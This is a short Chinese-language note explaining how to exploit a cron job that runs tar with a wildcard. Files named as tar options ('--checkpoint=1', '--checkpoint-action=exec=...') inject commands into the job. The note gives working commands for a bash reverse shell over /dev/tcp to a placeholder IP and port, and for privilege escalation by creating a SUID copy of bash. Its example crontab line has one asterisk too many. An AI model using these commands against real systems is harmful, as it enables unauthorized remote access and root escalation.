【笔记】Linux利用计划任务和Tar命令反弹Shell或提权

前言

Linux利用计划任务和Tar命令反弹Shell或提权

漏洞利用前提

  • 存在使用tar命令归档目录下的所有文件(使用了通配符*)操作的计划任务

漏洞原理

  • 如果在使用tar命令时,包含了--checkpoint=1参数,那么可以通过--checkpoint-action=exec=<shell>参数来执行Shell命令
  • 在被计划任务中的tar命令归档的目录下创建文件名为--checkpoint=1--checkpoint-action=exec=<shell>的文件来触发tar命令执行Shell命令

漏洞利用

  • 假设计划任务如下
1
* * * * * * tar -cf /tmp/backup.tar /usr/share/nginx/*
  • 则在/usr/share/nginx/目录下创建恶意文件

反弹Shell

1
2
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=/bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'"

提权

  • 复制一个/bin/bash文件到/usr/share/nginx/目录下,并添加SUID权限
1
2
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=/bin/bash -c 'cp /bin/bash /usr/share/nginx/bash; chmod +s /usr/share/nginx/bash'"

完成